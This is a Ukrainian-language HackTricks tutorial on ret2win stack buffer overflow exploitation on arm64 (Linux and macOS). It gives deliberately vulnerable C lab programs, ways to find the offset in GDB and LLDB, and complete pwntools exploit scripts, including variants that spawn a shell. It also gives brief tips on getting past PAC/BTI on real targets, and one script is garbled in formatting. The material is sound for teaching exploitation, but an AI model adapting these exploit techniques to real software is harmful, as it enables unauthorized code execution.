Ret2win - arm64
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Знайдіть вступ до arm64 у:
Код
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Скомпілюйте без pie та canary:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- Додатковий прапорець
-mbranch-protection=noneвимикає AArch64 Branch Protection (PAC/BTI). Якщо ваш toolchain за замовчуванням вмикає PAC або BTI, це робить лабораторію відтворюваною. Щоб перевірити, чи скомпільований бінар використовує PAC/BTI, можна: - Шукати властивості AArch64 GNU:
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'- Переглянути пролог/епілог на предмет
paciasp/autiasp(PAC) абоbti clanding pads (BTI): objdump -d ret2win | head -n 40
AArch64 calling convention quick facts
- Реєстр переходу —
x30(такожlr), і функції зазвичай зберігаютьx29/x30за допомогоюstp x29, x30, [sp, #-16]!та відновлюють їх за допомогоюldp x29, x30, [sp], #16; ret. - Це означає, що збережена адреса повернення знаходиться за
sp+8відносно бази фрейма. Якщо під нею розташованийchar buffer[64], типовий відступ для перезапису збереженогоx30становить 64 (buffer) + 8 (збережений x29) = 72 байти — саме те, що ми знайдемо нижче. - Вказівник стека має залишатися вирівняним по 16 байтів на межах функцій. Якщо пізніше ви будете будувати ROP-ланцюги для складніших сценаріїв, зберігайте вирівнювання SP, інакше можна отримати падіння під час епілогів функцій.
Finding the offset
Pattern option
This example was created using GEF:
Запустіть gdb з gef, створіть pattern і використайте його:
gdb -q ./ret2win
pattern create 200
run
.png)
arm64 спробує повернутися на адресу в регістрі x30 (який було скомпрометовано), ми можемо використати це, щоб знайти pattern offset:
pattern search $x30
.png)
Зсув становить 72 (9x48).
Опція зсуву стека
Почніть з отримання адреси в стеку, де зберігається регістр pc:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
Тепер встановіть breakpoint після read() і continue до моменту виконання read(), після чого встановіть pattern, наприклад 13371337:
b *vulnerable_function+28
c
.png)
Знайдіть, де цей шаблон зберігається в пам’яті:
.png)
Потім: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
Звичайний
Отримайте адресу функції win:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Exploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
Насправді це більше схоже на off-by-2 у збереженому PC в stack. Замість того, щоб перезаписувати всю return address, ми збираємося перезаписати тільки останні 2 байти значення 0x06c4.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Ви можете знайти ще один приклад off-by-one для ARM64 за адресою https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, який є реальним off-by-one у вигаданій вразливості.
З PIE
Tip
Скомпілюйте binary без аргументу
-no-pie
Off-by-2
Без leak ми не знаємо точну адресу win function, але можемо дізнатися offset функції від binary, і, знаючи, що return address, який ми перезаписуємо, вже вказує на близьку адресу, можливо отримати offset до win function (0x7d4) у цьому випадку і просто використати цей offset:
.png)
Configuration
binary_name = ‘./ret2win’ p = process(binary_name)
Prepare the payload
offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr
Send the payload
p.send(payload)
Check response
print(p.recvline()) p.close()
## macOS
### Код
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}
void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}
int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}
Скомпілюйте без canary (на macOS ви не можете вимкнути PIE):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
Виконайте без ASLR (хоча, оскільки у нас є address leak, він нам не потрібен):
env DYLD_DISABLE_ASLR=1 ./bof_macos
Tip
Неможливо відключити NX у macOS, оскільки на arm64 цей режим реалізований на апаратному рівні, тож його не можна вимкнути — тому ви не знайдете прикладів із shellcode у stack для macOS.
Знайти зсув
- Згенерувати патерн:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
- Запустіть програму та введіть pattern, щоб спричинити збій:
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
- Перевірте регістр
x30(адреса повернення), щоб знайти зсув:
(lldb) register read x30
- Використовуйте
cyclic -l <value>щоб знайти точний зсув:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- Ось як я знайшов зсув
72: підставивши в цей зсув адресу функціїwin(), ви можете виконати цю функцію та отримати shell (запуск без ASLR).
Exploit
#!/usr/bin/env python3
from pwn import *
import re
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)
win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
macOS - 2-й приклад
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}
__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}
__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}
int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);
// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);
// Sleep 3s
sleep(3);
vuln();
return 0;
}
Скомпілюйте без canary (в macOS ви не можете вимкнути PIE):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
Знайти offset
- Згенеруйте pattern у файл
/tmp/exploit.txt:
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
- Запустіть програму, щоб спричинити crash:
lldb ./bof_macos
(lldb) run
- Перевірте регістр
x30(the return address), щоб знайти offset:
(lldb) register read x30
- Використовуйте
cyclic -l <value>щоб знайти точний зсув:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- Ось як я знайшов offset
72: підставивши в цей offset адресу функціїwin(), ви можете виконати цю функцію і отримати shell (запуск без ASLR).
Обчислити адресу win()
- The binary is PIE, використовуючи leak функції
leak_anchor()та знаючи offset функціїwin()відносноleak_anchor(), ми можемо обчислити адресу функціїwin().
objdump -d bof_macos | grep -E 'leak_anchor|win'
0000000100000460 <_leak_anchor>:
000000010000047c <_win>:
- Зсув дорівнює
0x47c - 0x460 = 0x1c
Exploit
#!/usr/bin/env python3
from pwn import *
import re
import os
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")
# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)
print("[*] Payload written to /tmp/exploit.txt")
# Drop to an interactive session
p.interactive()
Примітки щодо сучасного жорсткого захисту AArch64 (PAC/BTI) та ret2win
- Якщо бінарник скомпільовано з AArch64 Branch Protection, ви можете побачити
paciasp/autiaspабоbti cу прологах/епілогах функцій. У такому випадку: - Повернення на адресу, яка не є дійсною BTI landing pad, може викликати
SIGILL. Краще цілитися точно у вхід функції, яка міститьbti c. - Якщо PAC увімкнено для повернень, наївні перезаписи адреси повернення можуть не спрацювати, бо епілог аутентифікує
x30. Для навчальних сценаріїв перебудуйте з-mbranch-protection=none(показано вище). При атаках реальних цілей віддавайте перевагу non‑return hijacks (наприклад, перезаписам function pointer) або створюйте ROP, який ніколи не виконує паруautiasp/ret, що аутентифікує ваш підроблений LR. - Щоб швидко перевірити можливості:
readelf --notes -W ./ret2winі перевірте наявність нотатокAARCH64_FEATURE_1_BTI/AARCH64_FEATURE_1_PAC.objdump -d ./ret2win | head -n 40і перевірте наявністьbti c,paciasp,autiasp.
Запуск на non‑ARM64 хостах (qemu‑user — коротка підказка)
Якщо ви на x86_64, але хочете практикуватися з AArch64:
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
Пов’язані сторінки HackTricks
Посилання
- Увімкнення PAC та BTI на AArch64 для Linux (Arm Community, листопад 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Стандарт виклику процедур для 64-бітної архітектури Arm (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


